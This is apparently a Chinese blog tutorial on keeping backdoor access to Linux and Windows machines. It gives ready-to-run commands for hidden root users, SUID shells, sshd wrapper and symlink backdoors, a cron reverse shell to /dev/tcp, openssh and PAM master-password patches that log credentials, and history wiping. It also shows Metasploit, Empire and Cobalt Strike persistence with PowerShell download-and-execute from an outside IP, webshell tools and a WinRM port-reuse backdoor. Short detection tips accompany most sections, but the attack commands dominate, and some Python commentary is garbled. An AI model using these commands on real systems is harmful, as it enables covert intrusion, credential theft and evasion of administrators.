2024全网最全面及最新且最为详细的网络安全技巧 十一:应急响应系列之Windows,Linux权限维持—后门篇(剧终完结撒花)[含三大渗透测试框架及Github项目地址和24护网行动各厂商面试精题]

  • 目录

    11.13 Linux权限维持---后门篇[剧终——完结撒花]

    11.13.1 一句话添加用户和密码

    添加普通用户:

    添加root用户:

    可疑用户排查技巧:

    11.13.2 SUID Shell

    排查技巧:

    11.13.3 ssh公私钥免密登录

    排查技巧:查看/root/.ssh/authorized_keys是否被修改。

    11.13.4 软连接

    排查技巧:进程、端口都可以发现异常,

    11.13.5 SSH wrapper

    排查技巧:

    11.13.6 strace后门

    排查技巧:使用alias即可发现异常。

    11.13.7 crontab反弹shell

    a、创建shell脚本,例如在/etc/evil.sh

    b、crontab -e 设置定时任务

    c、重启crond服务

    排查技巧:

    11.13.8 openssh后门

    排查技巧:利用strace找出ssh后门.

    11.13.9 PAM后门

    利用方法:

    排查技巧:

    11.13.10 rookit后门

    排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

    11.14 三大渗透测试框架权限维持技术

    11.14.1 前言

    11.14.2 MSF权限维持

    Persistence模块

    通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

    生成的相关文件位置:

    Metsvc 模块

    通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

    后门排查:目标主机上开启了一个Meterpreter服务。

    11.14.3 Empire 权限维持

     注册表

    wmi

    11.14.4 Cobalt Strike权限维持

    服务自启动后门

    注册表自启动

    注册表还有哪些键值可以设置为自启动:

    11.15 常见WebShell管理工具

    中国菜刀(Chopper)

    蚁剑(AntSword)

    github项目地址:https://github.com/AntSwordProject/antSword

    C刀(Cknife)

    github项目地址:https://github.com/Chora10/Cknife

    冰蝎(Behinder)

    github地址:https://github.com/rebeyond/Behinder

    Xise

    Altman

    github项目地址:https://github.com/keepwn/Altman

    Weevelys

    github项目地址:https://github.com/epinna/weevely3

    QuasiBot

    github项目地址:https://github.com/Smaash/quasibot

    Webshell-Sniper

    github项目地址:https://github.com/WangYihang/Webshell-Sniper

    WebshellManager

    github项目地址:https://github.com/boy-hack/WebshellManager

    11.16 一条命令实现端口复用后门【综合难度较大,取材于孟极实验室】

    11.16.1 基本原理介绍

    WinRM服务

    HTTP.sys驱动 

    11.16.2 后门配置

    开启WinRM服务

    新增80端口Listener

    修改WinRM端口

    11.16.3 后门连接和使用

    本地配置

    连接使用

    UAC问题 USER ACCESS CONTROL

    Hash登录


  • 11.13 Linux权限维持---后门篇[剧终——完结撒花]

  • 本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆
  • 11.13.1 一句话添加用户和密码

  • 添加普通用户:

  • # 创建一个用户名guest,密码123456的普通用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
    
    # useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
    useradd -p "$(openssl passwd -1 123456)" guest
    	
    # chpasswd方法
    useradd guest;echo 'guest:123456'|chpasswd
    	
    # echo -e方法
    useradd test;echo -e "123456\n123456\n" |passwd test

  • 添加root用户:

  • # 创建一个用户名guest,密码123456的root用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
  • 可疑用户排查技巧:

  • # 查询特权用户特权用户(uid 为0)
    [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
    # 查询可以远程登录的帐号信息
    [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
    # 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
    [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
  • 11.13.2 SUID Shell

  • Suid shell是一种可用于以拥有者权限运行的shell。
  • 配合普通用户权限使用
    cp /bin/bash /tmp/shell
    chmod u+s /tmp/shell
  • 使用guest用户登录就可疑获取root权限
  • PS:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径
  • 排查技巧:

  • # 在Linux中查找SUID设置的文件
    find . -perm /4000 
    # 在Linux中查找使用SGID设置的文件
    find . -perm /2000
    # 取消s权限
    chmod u-s /tmp/shell
  • 11.13.3 ssh公私钥免密登录

  • 在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
  • 客户端:
  • ssh-keygen -t rsa
  • 过程中按三次回车执行结束:
  • 入/root/.ssh/文件夹,查看文件夹的内容
  • 其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
  • 排查技巧:查看/root/.ssh/authorized_keys是否被修改。

  • 11.13.4 软连接

  • 在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆
  • 通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
  • 在目标服务器上执行一句话后门:
  • ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
  • 执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录
  • 排查技巧:进程、端口都可以发现异常,

  • kill -s 9 PID 
  • 结束进程即可清除后门
  • 11.13.5 SSH wrapper

  • 首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
  • 原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了
  • 此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
  • 简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
  • 服务端:
  • cd /usr/sbin/
    #切换到 /usr/sbin/ 目录,这通常是系统管理程序的存放目录。
    
    mv sshd ../bin/
    #将 #!/usr/bin/perl 写入 sshd 文件的第一行,指定该文件为 Perl 脚本。
    
    echo '#!/usr/bin/perl' >sshd
    #在 sshd 文件中追加一行 Perl 代码,如果从标准输入读取到的地址符合正则表达式 /^..4A/,则执行 /bin/sh。
    
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    #在 sshd 文件中追加一行 Perl 代码,执行真实的 sshd 程序,传递给它 /usr/sbin/sshd 和所有参数。
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    
    chmod u+x sshd
    #赋予 sshd 文件可执行权限,使其可以被执行。
    
    /etc/init.d/sshd restart
    #重启 SSH 服务,通常会使系统重新加载配置并应用新的程序文件。
  • 客户端:
  • socat STDIO TCP4:target_ip:22,sourceport=13377
    
    #如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
    
    >>> import struct
    
    >>> buffer = struct.pack('>I6',19526)
    #使用 struct.pack 将整数 19526 打包成一个字节串。格式 '>I6' 指定大端字节序 (>) 和一个 4 字节的无符号整数 (I),后面 6 表示字节的长度。这是错误的,6 在此格式下无效。
    
    >>> print repr(buffer)
    '\x00\x00LF'
    #打印 buffer 的原始字节表示,显示内容为 '\x00\x00LF',其中 LF 是 19526 的大端字节表示。
    
    >>> buffer = struct.pack('>I6',13377)
    #将整数 13377 打包成一个字节串。格式 '>I' 指定大端字节序和一个 4 字节的无符号整数。
    
    >>> print buffer
    #打印 buffer 的内容。13377 在大端字节序中的表示是 '\x00\x00\x34\x51'
  • 排查技巧:

  • # ls -al /usr/sbin/sshd
    # cat /usr/sbin/sshd
    可通过重装ssh服务恢复。
  • 11.13.6 strace后门

  • 通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
  • #vim /etc/bashrc
    alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
    # source /root/.bashrc
  • 排查技巧:使用alias即可发现异常。

  • 11.13.7 crontab反弹shell

  • crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
  • a、创建shell脚本,例如在/etc/evil.sh

  • #!/bin/bash
    bash -i >& /dev/tcp/192.168.28.131/12345  0>&1
    
    chmod +sx /etc/evil.sh
  • b、crontab -e 设置定时任务

  • #每一分钟执行一次
    */1 * * * * root /etc/evil.sh
  • c、重启crond服务

  • service crond restart
  • 然后就可以用nc接收shell
  • 排查技巧:

  • # 查看可疑的定时任务列表
    crontab -e
  • 11.13.8 openssh后门

  • 利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。
  • a、备份SSH配置文件
    mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
    mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
    
    b、解压并安装补丁
    tar zxf openssh-5.9p1.tar.gz
    tar zxf openssh-5.9p1.tar.gz
    cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
    cd openssh-5.9p1
    patch < sshbd5.9p1.diff
    
    c、记录用户名和密码的文件位置及其密码
    vi  includes.h
    	#define ILOG "/tmp/1.txt"             //记录登录本机的用户名和密码
    	#define OLOG "/tmp/2.txt"             //记录本机登录远程的用户名和密码
    	#define SECRETPW "123456789"          //后门的密码
    
    d、修改版本信息
    vi version.h
    	#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
    	#define SSH_PORTABLE "小版本号"
    	
    e、安装并编译
    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    make clean
    make && make install
    service sshd restart
    
    f、对比原来的配置文件,使配置文件一致,然后修改文件日期。
    
    touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
    touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
    
    g、清除操作记录
    export HISTFILE=/dev/null
    export HISTSIZE=0
    echo >/root/.bash_history //清空操作日志
  • 排查技巧:利用strace找出ssh后门.

  • # 1、获取可疑进程PI
    ps aux | grep sshd
    # 2、跟踪sshd PID
    strace -o aa -ff -p  PID
    # 3、查看记录密码打开文件
    grep open sshd* | grep -v -e No -e  null -e denied| grep  WR
    
  • 11.13.9 PAM后门

  • PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
  • 利用方法:

  • 1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
    2、解压缩,修改pam_unix_auth.c文件,添加万能密码
    3、编译安装PAM
    4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。
  • 排查技巧:

  • # 1、通过Strace跟踪ssh
    ps axu | grep sshd
    strace -o aa -ff -p PID
    
    :'选项解释
    -o aa:将 strace 输出的跟踪信息保存到文件 aa。
    -ff:将每个子进程的跟踪信息保存到不同的文件中,这些文件会以 aa 开头,并加上子进程的 PID。
    -p PID:指定要跟踪的进程 ID (PID)。 中文注释:使用 strace 跟踪指定进程 PID 的系统调用。选项解释:
    -o aa:将 strace 输出的跟踪信息保存到文件 aa。
    -ff:将每个子进程的跟踪信息保存到不同的文件中,文件名以 aa 开头,并加上子进程的 PID。
    -p PID:指定要跟踪的进程 ID (PID)'
    
    grep open aa* | grep -v -e No -e null -e denied| grep WR
    #在 strace 生成的跟踪文件中,查找 open 系统调用的相关条目。然后过滤掉包含 "No"、"null" 或 "denied" 的行,最后只保留包含 "WR" 的行,这表明写操作。
    
    # 2、检查pam_unix.so的修改时间
    stat /lib/security/pam_unix.so      #32位
    stat /lib64/security/pam_unix.so    #64位
  • 11.13.10 rookit后门

  • Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
  • 利用方法:安装完成后,使用
  • ssh 用户@IP -P 配置的端口
  • 即可远程登录
  • 排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

 

  • 11.14 三大渗透测试框架权限维持技术

  • 11.14.1 前言

  • 本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去发现并解决服务器安全问题。
  • 在渗透测试中,有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike
  • 那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢
  • 11.14.2 MSF权限维持

  • 使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:
  • Persistence模块

  • 通过启动项启动(persistence)的方式,在目标机器上以反弹回连
  • -U:设置后门在用户登录后自启动。该方式会在
    HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
    
    -X:设置后门在系统启动后自启动。该方式会在
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
    由于权限问题,会导致添加失败,后门将无法启动。
    
    -S:作为服务自动启动代理程序(具有SYSTEM权限)
  • 生成的相关文件位置
  • # 后门文件位置:
    C:\Windows\Temp
    C:\Users\Administrator\AppData\Local\Temp
    # 注册表位置:
    HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
  • Metsvc 模块

  • 通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接
  • 后门排查:目标主机上开启了一个Meterpreter服务。
  • 11.14.3 Empire 权限维持

  • Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即

    • elevated(管理权限)
    • misc(杂项)
    • powerbreach
    • userland(用户权限)
    • registry
    • add_netuser
    • deaduser
    • backdoor_lnk
    • schtasks
    • add_sid_history
    • eventlog
    • registry
    • wmi
    • debugger
    • resolver
    • schtasks
    • wmi_updater
    • disable_machine_
    • acct_change
    • get_ssps
    • install_ssp
    • memssp*
    • skeleton_key*
  •  注册表

  • 因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框在注册表位置:
  • 计划任务
  • (Empire: agents) > agents
    # 显示当前连接的代理列表。
    
    (Empire: agents) > interact URL3FZBV
    # 与指定的代理(URL3FZBV)进行交互,进入该代理的命令行。
    
    (Empire: URL3FZBV) > usemodule persistence/elevated/registry*
    # 选择并使用 `persistence/elevated/registry` 模块,该模块用于通过注册表实现持久化。`*` 可能表示选择所有相关的子模块。
    
    (Empire: powershell/persistence/elevated/registry) > set Listener test
    # 设置模块的 `Listener` 参数为 `test`,该参数指定用于接收连接的监听器。
    
    (Empire: powershell/persistence/elevated/registry) > execute
    # 执行已配置的模块以应用持久化设置。
    
  • 在任务计划程序库可以看到-任务为Updater-启动程序如可以到为powershell
  • wmi

  • (Empire: agents) > interact 9NZ2RWBC
    # 与代理 `9NZ2RWBC` 进行交互,进入该代理的命令行。
    
    (Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
    # 选择并使用 `persistence/elevated/wmi` 模块,该模块用于通过 WMI 实现持久化。
    
    (Empire: powershell/persistence/elevated/wmi) > set Listener test
    # 设置模块的 `Listener` 参数为 `test`,指定用于接收连接的监听器。
    
    (Empire: powershell/persistence/elevated/wmi) > run
    # 执行已配置的 WMI 持久化模块以应用设置。
    
  • 如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡右键就可以删除恶意后门。
  • 11.14.4 Cobalt Strike权限维持

  • 通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
  • 从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery生成powershell后门。
  • 根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。
  • 点击Launch后,返回powershell远程下载执行命令。
  • 服务自启动后门

  • sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""
    
    
    //创建一个名为 Name 的服务,服务的执行路径是一个命令,它启动 PowerShell,并在隐藏窗口中执行一个从指定 URL 下载并执行的 PowerShell 脚本。
    
    sc description  Name "Just For Test"   
    //设置服务的描述字符串
    
    sc config Name start= auto     
    //设置这个服务为自动启动         
    
    net start Name                         
    //启动服务
  • 重启服务器后,成功返回一个shell
  • 注册表自启动

  • evil crash winrs.py
    
    wmi winrm
  • windows启动项注册表里面添加一个木马程序路径,如:
  • beacon>getsystem
    
    //尝试提升当前 Beacon 代理的权限,以获取系统级别的权限。
    
    beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f 
    
    
    //在注册表 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加一个名为 Keyname 的字符串值,该值的内容是一个 PowerShell 命令,该命令在系统启动时执行,下载并执行指定 URL 的 PowerShell 脚本。 /f 参数表示强制覆盖已存在的值。
  • 账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。
  • 注册表还有哪些键值可以设置为自启动:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

  • 11.15 常见WebShell管理工具

  • 攻击者在入侵网站时,通常要通过各种方式写入Webshell,从而获得服务器的控制权限比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。
  • 本文介绍十款常用的Webshell管理工具,以供你选择,你会选择哪一个?
  • 中国菜刀(Chopper)

  • 中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
  • 蚁剑(AntSword)

  • AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。
  • github项目地址:https://github.com/AntSwordProject/antSword

  • C刀(Cknife)

  • 这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义
  • github项目地址:https://github.com/Chora10/Cknife

  • 冰蝎(Behinder)

  • 冰蝎”是一款动态二进制加密网站管理客户端。
  • github地址:https://github.com/rebeyond/Behinder

  • Xise

  • XISE WebShell管理工具。
  • Altman

  • Altman3是一款渗透测试软件,基于.Net4.0开发,依托Eto.Form可以完美运行在Windows、Linux、Mac等多个平台。
  • github项目地址:https://github.com/keepwn/Altman

  • Weevelys

  • Weevely是一种Python编写的webshell管理工具,跨平台,只支持PHP。
  • github项目地址:https://github.com/epinna/weevely3

  • 用法示例:
  • weevely generate <password> <path>
    weevely <URL> <password> [cmd]
  • 同时,在Kali 2.0 版本下,集成了三款Web后门工具WebaCoo、weevely、PHP Meterpreter。
  • QuasiBot

  • QuasiBot是一款php编写的webshell管理工具,可以对webshell进行远程批量管理
  • github项目地址:https://github.com/Smaash/quasibot

  • Webshell-Sniper

  • 这是一款基于终端的webshell管理工具,仅支持在类Unix系统上运行。
  • github项目地址:https://github.com/WangYihang/Webshell-Sniper

  • 用法示例:
  • Usage : 
            python webshell-sniper.py [URL] [METHOD] [AUTH]
    Example : 
            python webshell-sniper.py http://127.0.0.1/c.php POST c
  • WebshellManager

  • 一款用PHP+Mysql写的一句话WEB端管理工具,目前仅支持对PHP的一句话进行操作
  • github项目地址:https://github.com/boy-hack/WebshellManager

  • 11.16 一条命令实现端口复用后门【综合难度较大,取材于孟极实验室】

  • 说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。
  • 对于不想看原理,只关心如何使用的读者可以直接跳到“0x02. 后门配置”。
  • 11.16.1 基本原理介绍

  • 该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。
  • WinRM服务

  • WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协使用的是HTTP
  • HTTP.sys驱动 

  • HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口只需要各自注册的url前缀不一样即可
  • 使用如下命令可以查看所有在HTTP.sys上注册过的url前缀。
  • netsh http show servicestate
  • 实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
  •  因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。
  • 11.16.2 后门配置

  • 开启WinRM服务

  • 在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。
  • 对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是
  • winrm quickconfig -q
  • 这条命令运行后会自动添加防火墙例外规则,放行5985端口
  • 新增80端口Listener

  • 对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
  • 使用下面这条命令即可新增一个80端口的listener
  • winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
  • 对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。
  •  这种情况下,老的5985端口listener还保留着
  • 修改WinRM端口

  • 在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。
  • 通过下面这条命令即可修改端口为80
  • winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
  •  这种情况下,管理员查看端口也看不到5985开放,只开放80端口
  • 经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。  
  • 11.16.3 后门连接和使用

  • 本地配置

  • 本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
  • winrm quickconfig -q
    //快速配置 WinRM 服务,使其在默认设置下启用,包括启动服务、设置所需的防火墙规则等。-q 参数表示在执行过程中不显示任何提示。
    
    winrm set winrm/config/Client @{TrustedHosts="*"}
    //将 WinRM 客户端的 TrustedHosts 设置为 "*",这允许客户端与任何主机进行远程管理连接,而不限制主机名或 IP 地址。
  • 连接使用

  • 使用winrs命令即可连接远程WinRM服务执行命令,并返回结果
  • winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
    
    //通过 WinRM 使用指定的 URL (http://www.baidu.com) 连接到远程主机,使用用户名 (administrator) 和密码 (Passw0rd) 进行身份验证,并在远程系统上执行 whoami 命令,该命令返回当前用户的身份信息。
  • whoami命令换成cmd即可获取一个交互式的shell
  • winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd
    
    //同上原理
  • UAC问题 USER ACCESS CONTROL

  • WinRM服务也是受UAC[用于限制应用程序和用户操作对系统的影响]影响的,所以本地管理员用户组里面只有administrator可以登录其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    
    //在注册表路径 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 下添加或修改名为 LocalAccountTokenFilterPolicy 的 DWORD 类型的值,将其数据设置为 1。/f 参数表示强制执行操作,不显示确认提示。
    
    :'reg add:在注册表中添加或修改项。
    
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:注册表路径。
    
    /v LocalAccountTokenFilterPolicy:要添加或修改的注册表值名称。
    
    /t REG_DWORD:指定值的数据类型为 DWORD(32 位整型)。
    
    /d 1:将 LocalAccountTokenFilterPolicy 的数据设置为 1,表示允许本地管理员组中的所有用户远程登录。
    
    /f:强制执行操作,不提示确认。'
  •  修改后,普通管理员登录后也是高权限。
  • Hash登录

  • 系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。

\displaystyle\measuredangle \mathbb{N}

...

  • 35
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值